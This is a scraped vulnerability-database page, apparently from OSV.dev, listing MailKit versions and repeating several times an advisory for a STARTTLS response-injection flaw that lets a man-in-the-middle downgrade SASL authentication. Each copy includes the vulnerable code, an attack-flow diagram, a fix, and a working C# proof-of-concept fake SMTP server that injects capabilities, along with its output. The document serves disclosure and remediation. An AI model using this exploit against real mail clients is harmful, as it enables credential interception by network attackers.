            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Oct 24, 2022

3.4.1 patch

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Sep 12, 2022

3.4.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Sep 05, 2022

3.3.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Jun 12, 2022

3.2.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
